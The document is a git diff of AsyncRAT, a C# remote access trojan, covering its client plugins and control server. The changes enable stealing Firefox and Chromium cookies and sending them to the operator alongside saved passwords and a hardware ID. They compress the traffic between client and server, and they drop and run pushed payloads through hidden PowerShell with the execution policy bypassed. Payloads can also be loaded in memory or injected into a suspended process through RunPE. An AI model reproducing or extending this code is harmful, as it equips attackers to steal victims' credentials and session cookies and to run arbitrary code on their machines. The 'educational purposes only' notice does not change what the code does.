public class Firefox
|
||||
{
|
||||
public bool isOK = false;
|
||||
//public void CookiesRecovery(StringBuilder Cooks)
|
||||
//{
|
||||
// try
|
||||
// {
|
||||
// List<FFCookiesGrabber.FirefoxCookie> ffcs = Cookies.FFCookiesGrabber.Cookies();
|
||||
// foreach (FFCookiesGrabber.FirefoxCookie fcc in ffcs)
|
||||
// {
|
||||
// if (!string.IsNullOrWhiteSpace(fcc.ToString()) && !isOK)
|
||||
// {
|
||||
// Cooks.Append("\n== Firefox ==========\n");
|
||||
// isOK = true;
|
||||
// }
|
||||
// Cooks.Append(string.Concat(new string[]
|
||||
// {
|
||||
// fcc.ToString(),
|
||||
// "\n\n",
|
||||
// }));
|
||||
// }
|
||||
// Cooks.Append("\n");
|
||||
// }
|
||||
// catch
|
||||
// {
|
||||
// }
|
||||
//}
|
||||
public void CookiesRecovery(StringBuilder Cooks)
|
||||
{
|
||||
try
|
||||
{
|
||||
List<FFCookiesGrabber.FirefoxCookie> ffcs = Cookies.FFCookiesGrabber.Cookies();
|
||||
foreach (FFCookiesGrabber.FirefoxCookie fcc in ffcs)
|
||||
{
|
||||
if (!string.IsNullOrWhiteSpace(fcc.ToString()) && !isOK)
|
||||
{
|
||||
Cooks.Append("\n== Firefox ==========\n");
|
||||
isOK = true;
|
||||
}
|
||||
Cooks.Append(string.Concat(new string[]
|
||||
{
|
||||
fcc.ToString(),
|
||||
"\n\n",
|
||||
}));
|
||||
}
|
||||
Cooks.Append("\n");
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public void CredRecovery(StringBuilder Pass)
|
||||
{
|
||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return r;
|
||||
return Zip.Compress(r);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -14,22 +14,22 @@ namespace Plugin
|
||||
new Browsers.Firefox.Firefox().CredRecovery(Credentials);
|
||||
new Browsers.Chromium.Chromium().Recovery(Credentials);
|
||||
|
||||
//StringBuilder Cookies = new StringBuilder();
|
||||
//new Browsers.Firefox.Firefox().CookiesRecovery(Cookies);
|
||||
//new Browsers.Chromium.Chromium().CookiesRecovery(Cookies);
|
||||
StringBuilder Cookies = new StringBuilder();
|
||||
new Browsers.Firefox.Firefox().CookiesRecovery(Cookies);
|
||||
new Browsers.Chromium.Chromium().CookiesRecovery(Cookies);
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
|
||||
msgpack.ForcePathObject("Password").AsString = Credentials.ToString();
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
//msgpack.ForcePathObject("Cookies").AsString = Cookies.ToString();
|
||||
msgpack.ForcePathObject("Cookies").AsString = Cookies.ToString();
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Error(ex.Message);
|
||||
Connection.Disconnected();
|
||||
}
|
||||
Connection.Disconnected();
|
||||
}
|
||||
|
||||
public static void Error(string ex)
|
||||
|
@ -56,7 +56,9 @@
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Browsers\Chromium\Chromium.cs" />
|
||||
<Compile Include="Browsers\Chromium\ChromiumCookies.cs" />
|
||||
<Compile Include="Browsers\CredentialModel.cs" />
|
||||
<Compile Include="Browsers\Firefox\Cookies\FFCookiesGrabber.cs" />
|
||||
<Compile Include="Browsers\Firefox\FFDecryptor.cs" />
|
||||
<Compile Include="Browsers\Firefox\Firefox.cs" />
|
||||
<Compile Include="Browsers\Firefox\FirefoxPassReader.cs" />
|
||||
@ -71,6 +73,7 @@
|
||||
<Compile Include="Packet.cs" />
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Zip.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="packages.config" />
|
||||
|
45
AsyncRAT-C#/Plugin/Recovery/Recovery/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/Recovery/Recovery/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -123,16 +123,12 @@ namespace Plugin
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
}
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return r;
|
||||
return Zip.Compress(r);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -87,6 +87,7 @@
|
||||
<Compile Include="Packet.cs" />
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Zip.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
45
AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -124,16 +124,12 @@ namespace Plugin
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
}
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return r;
|
||||
return Zip.Compress(r);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -71,6 +71,7 @@ namespace Plugin
|
||||
MsgPack msgpack;
|
||||
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
|
||||
MemoryStream stream;
|
||||
Thread.Sleep(1);
|
||||
while (IsOk && Connection.IsConnected)
|
||||
{
|
||||
try
|
||||
|
@ -62,6 +62,7 @@
|
||||
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||
<Compile Include="Zip.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
45
AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -123,16 +123,13 @@ namespace Plugin
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
}
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
@ -16,7 +16,7 @@ namespace Plugin.Handler
|
||||
{
|
||||
//Drop To Disk
|
||||
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
|
||||
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
||||
File.WriteAllBytes(fullPath, Methods.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes()));
|
||||
if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1"))
|
||||
Process.Start(new ProcessStartInfo { FileName = "powershell", Arguments = "–ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"" + fullPath + "\"", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden });
|
||||
else
|
||||
@ -45,7 +45,7 @@ namespace Plugin.Handler
|
||||
{
|
||||
try
|
||||
{
|
||||
Assembly loader = Assembly.Load(buffer);
|
||||
Assembly loader = Assembly.Load(Methods.Decompress(buffer));
|
||||
object[] parm = null;
|
||||
if (loader.EntryPoint.GetParameters().Length > 0)
|
||||
{
|
||||
@ -68,7 +68,7 @@ namespace Plugin.Handler
|
||||
{
|
||||
try
|
||||
{
|
||||
RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), buffer, true);
|
||||
RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), Methods.Decompress(buffer), true);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
@ -35,7 +35,11 @@ namespace Plugin.Handler
|
||||
catch { }
|
||||
}
|
||||
|
||||
Registry.CurrentUser.CreateSubKey(@"", RegistryKeyPermissionCheck.ReadWriteSubTree).DeleteSubKey(Connection.Hwid);
|
||||
try
|
||||
{
|
||||
Registry.CurrentUser.CreateSubKey(@"", RegistryKeyPermissionCheck.ReadWriteSubTree).DeleteSubKey(Connection.Hwid);
|
||||
}
|
||||
catch { }
|
||||
|
||||
string batch = Path.GetTempFileName() + ".bat";
|
||||
using (StreamWriter sw = new StreamWriter(batch))
|
||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return r;
|
||||
return Zip.Compress(r);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -2,6 +2,8 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
@ -10,7 +12,7 @@ using System.Threading;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Methods
|
||||
public static class Methods
|
||||
{
|
||||
public static void ClientExit()
|
||||
{
|
||||
@ -60,6 +62,42 @@ namespace Plugin
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
|
||||
}
|
||||
|
@ -70,7 +70,7 @@ namespace Plugin
|
||||
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
|
||||
try
|
||||
{
|
||||
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 2 + 2, IntPtr.Zero, null, ref si, ref pi)) throw new Exception();
|
||||
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 0x00000004u | 0x08000000u, IntPtr.Zero, null, ref si, ref pi)) throw new Exception();
|
||||
int fileAddress = BitConverter.ToInt32(data, 120 / 2);
|
||||
int imageBase = BitConverter.ToInt32(data, fileAddress + 26 + 26);
|
||||
int[] context = new int[179];
|
||||
|
@ -56,6 +56,7 @@
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="RunPE.cs" />
|
||||
<Compile Include="Zip.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
45
AsyncRAT-C#/Plugin/SendFile/SendFile/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/SendFile/SendFile/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
46
AsyncRAT-C#/Server/Algorithm/Zip.cs
Normal file
46
AsyncRAT-C#/Server/Algorithm/Zip.cs
Normal file
@ -0,0 +1,46 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Server.Algorithm
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -89,7 +89,13 @@ namespace Server.Connection
|
||||
BytesRecevied += Recevied;
|
||||
if (ClientMS.Length == ClientBuffersize)
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(new Packet().Read, new object[] { ClientMS.ToArray(), this });
|
||||
|
||||
ThreadPool.QueueUserWorkItem(new Packet
|
||||
{
|
||||
client = this,
|
||||
data = ClientMS.ToArray(),
|
||||
}.Read, null);
|
||||
|
||||
ClientBuffer = new byte[4];
|
||||
ClientMS.Dispose();
|
||||
ClientMS = new MemoryStream();
|
||||
|
@ -23,7 +23,7 @@ namespace Server.Connection
|
||||
ReceiveBufferSize = 50 * 1024,
|
||||
};
|
||||
Server.Bind(ipEndPoint);
|
||||
Server.Listen(100);
|
||||
Server.Listen(500);
|
||||
new HandleLogs().Addmsg($"Listenning {port}", Color.Green);
|
||||
Server.BeginAccept(EndAccept, null);
|
||||
}
|
||||
|
@ -570,7 +570,7 @@ namespace Server
|
||||
{
|
||||
MsgPack packet = new MsgPack();
|
||||
packet.ForcePathObject("Packet").AsString = "sendMemory";
|
||||
packet.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString()));
|
||||
packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString())));
|
||||
if (formSend.comboBox1.SelectedIndex == 0)
|
||||
{
|
||||
packet.ForcePathObject("Inject").AsString = "";
|
||||
@ -587,6 +587,7 @@ namespace Server
|
||||
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
client.LV.ForeColor = Color.Red;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
@ -604,26 +605,32 @@ namespace Server
|
||||
{
|
||||
try
|
||||
{
|
||||
OpenFileDialog openFileDialog = new OpenFileDialog();
|
||||
openFileDialog.Multiselect = true;
|
||||
if (openFileDialog.ShowDialog() == DialogResult.OK)
|
||||
using (OpenFileDialog openFileDialog = new OpenFileDialog())
|
||||
{
|
||||
MsgPack packet = new MsgPack();
|
||||
packet.ForcePathObject("Packet").AsString = "sendFile";
|
||||
packet.ForcePathObject("Update").AsString = "false";
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll"));
|
||||
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
openFileDialog.Multiselect = true;
|
||||
if (openFileDialog.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
foreach (string file in openFileDialog.FileNames)
|
||||
MsgPack packet = new MsgPack();
|
||||
packet.ForcePathObject("Packet").AsString = "sendFile";
|
||||
packet.ForcePathObject("Update").AsString = "false";
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll"));
|
||||
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
await packet.ForcePathObject("File").LoadFileAsBytes(file);
|
||||
packet.ForcePathObject("Extension").AsString = Path.GetExtension(file);
|
||||
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
client.LV.ForeColor = Color.Red;
|
||||
foreach (string file in openFileDialog.FileNames)
|
||||
{
|
||||
await Task.Run(() =>
|
||||
{
|
||||
packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(file)));
|
||||
packet.ForcePathObject("Extension").AsString = Path.GetExtension(file);
|
||||
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
|
||||
});
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1050,27 +1057,30 @@ namespace Server
|
||||
}
|
||||
}
|
||||
|
||||
private async void UpdateToolStripMenuItem2_Click(object sender, EventArgs e)
|
||||
private void UpdateToolStripMenuItem2_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
OpenFileDialog openFileDialog = new OpenFileDialog();
|
||||
if (openFileDialog.ShowDialog() == DialogResult.OK)
|
||||
using (OpenFileDialog openFileDialog = new OpenFileDialog())
|
||||
{
|
||||
MsgPack packet = new MsgPack();
|
||||
packet.ForcePathObject("Packet").AsString = "sendFile";
|
||||
await packet.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName);
|
||||
packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName);
|
||||
packet.ForcePathObject("Update").AsString = "true";
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll"));
|
||||
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
|
||||
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
if (openFileDialog.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
MsgPack packet = new MsgPack();
|
||||
packet.ForcePathObject("Packet").AsString = "sendFile";
|
||||
packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(openFileDialog.FileName)));
|
||||
packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName);
|
||||
packet.ForcePathObject("Update").AsString = "true";
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll"));
|
||||
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
|
||||
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
client.LV.ForeColor = Color.Red;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
4
AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs
generated
4
AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs
generated
@ -44,9 +44,7 @@
|
||||
this.richTextBox1.ShortcutsEnabled = false;
|
||||
this.richTextBox1.Size = new System.Drawing.Size(557, 210);
|
||||
this.richTextBox1.TabIndex = 0;
|
||||
this.richTextBox1.Text = "\n │ Author : NYAN CAT\n │ Name : AsyncRAT © 2019\n │ C" +
|
||||
"ontact : github.com/NYAN-x-CAT\n\n This program is distributed for educat" +
|
||||
"ional purposes only.\n\n";
|
||||
this.richTextBox1.Text = resources.GetString("richTextBox1.Text");
|
||||
this.richTextBox1.ZoomFactor = 1.1F;
|
||||
//
|
||||
// FormAbout
|
||||
|
@ -117,6 +117,16 @@
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<data name="richTextBox1.Text" xml:space="preserve">
|
||||
<value>
|
||||
│ Author NYAN CAT
|
||||
│ Name AsyncRAT © 2019
|
||||
│ Page GitHub.com/NYAN-x-CAT
|
||||
│ Twitter Twitter.com/NYAN_x_CAT
|
||||
|
||||
This program is distributed for educational purposes only.
|
||||
</value>
|
||||
</data>
|
||||
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
|
@ -203,7 +203,10 @@ namespace Server.Forms
|
||||
if (chkObfu.Checked)
|
||||
{
|
||||
//EncryptString.DoEncrypt(asmDef);
